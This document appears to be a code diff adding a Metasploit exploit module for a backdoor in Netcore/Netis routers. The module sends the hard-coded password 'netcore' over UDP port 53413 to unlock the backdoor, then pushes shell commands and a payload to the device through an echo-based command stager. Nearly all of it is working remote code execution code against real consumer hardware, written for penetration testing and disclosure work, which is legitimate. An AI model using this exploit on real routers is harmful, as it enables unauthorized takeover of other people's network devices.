|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Udp |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Netcore Router Udp 53413 Backdoor', |
| 17 | + 'Description' => %q{ |
| 18 | + Routers manufactured by Netcore, a popular brand for networking |
| 19 | + equipment in China, have a wide-open backdoor that can be fairly |
| 20 | + easily exploited by attackers. These products are also sold under |
| 21 | + the Netis brand name outside of China. This backdoor allows |
| 22 | + cyber criminals to easily run arbitrary code on these routers, |
| 23 | + rendering it vulnerable as a security device. |
| 24 | + Some models include a non-standard echo command which doesn't |
| 25 | + honor -e, and are therefore not currently exploitable with |
| 26 | + Metasploit. See URLs or module markdown for additional options. |
| 27 | + }, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Nixawk', |
| 31 | + |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ], |
| 37 | + [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ], |
| 38 | + [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py'] |
| 39 | + ], |
| 40 | + 'Privileged' => true, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + ['MIPS Little Endian', |
| 44 | + { |
| 45 | + 'Platform' => 'linux', |
| 46 | + 'Arch' => ARCH_MIPSLE |
| 47 | + } |
| 48 | + ], |
| 49 | + ['MIPS Big Endian', |
| 50 | + { |
| 51 | + 'Platform' => 'linux', |
| 52 | + 'Arch' => ARCH_MIPSBE |
| 53 | + } |
| 54 | + ] |
| 55 | + ], |
| 56 | + 'DefaultTarget' => 0, |
| 57 | + 'DisclosureDate' => 'Aug 25 2014')) |
| 58 | + |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]), |
| 62 | + Opt::RPORT(53413) |
| 63 | + ], self.class) |
| 64 | + end |
| 65 | + |
| 66 | + def timeout |
| 67 | + (datastore['TIMEOUT'] || 1000) / 1000.0 |
| 68 | + end |
| 69 | + |
| 70 | + def send_command(data) |
| 71 | + payload = "\x00" * 8 |
| 72 | + payload << data |
| 73 | + udp_sock.put(payload) |
| 74 | + end |
| 75 | + |
| 76 | + def execute_command(cmd, _opts) |
| 77 | + send_command(cmd) |
| 78 | + vprint_status("Sending: #{cmd}") |
| 79 | + end |
| 80 | + |
| 81 | + def authenticate() |
| 82 | + # netcore is the password to unlock the backdoor |
| 83 | + send_command('netcore') |
| 84 | + resp = udp_sock.get(timeout) |
| 85 | + if resp.include?('Login succeeded!') |
| 86 | + vprint_good('Backdoor Unlocked') |
| 87 | + end |
| 88 | + end |
| 89 | + |
| 90 | + def check |
| 91 | + connect_udp |
| 92 | + authenticate |
| 93 | + resp = [] |
| 94 | + tmp_file = Rex::Text.rand_text_alpha(5) |
| 95 | + # we need to test the echo command to see if it plays nice |
| 96 | + ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command| |
| 97 | + send_command(command) |
| 98 | + resp << udp_sock.get(timeout) |
| 99 | + end |
| 100 | + disconnect_udp |
| 101 | + resp_str = resp.join(',') |
| 102 | + # check if we got a good response back |
| 103 | + if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file) |
| 104 | + # some routers have a non-standard echo which doesn't support -en, so we need to detect that |
| 105 | + if resp_str.include?('en ') |
| 106 | + print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.') |
| 107 | + Exploit::CheckCode::Detected |
| 108 | + else |
| 109 | + Exploit::CheckCode::Vulnerable |
| 110 | + end |
| 111 | + else |
| 112 | + Exploit::CheckCode::Safe |
| 113 | + end |
| 114 | + end |
| 115 | + |
| 116 | + def exploit |
| 117 | + print_status('Exploiting...') |
| 118 | + connect_udp |
| 119 | + authenticate |
| 120 | + execute_cmdstager(:flavor => :echo, :linemax => 200) |
| 121 | + disconnect_udp |
| 122 | + end |
| 123 | +end |
0 commit comments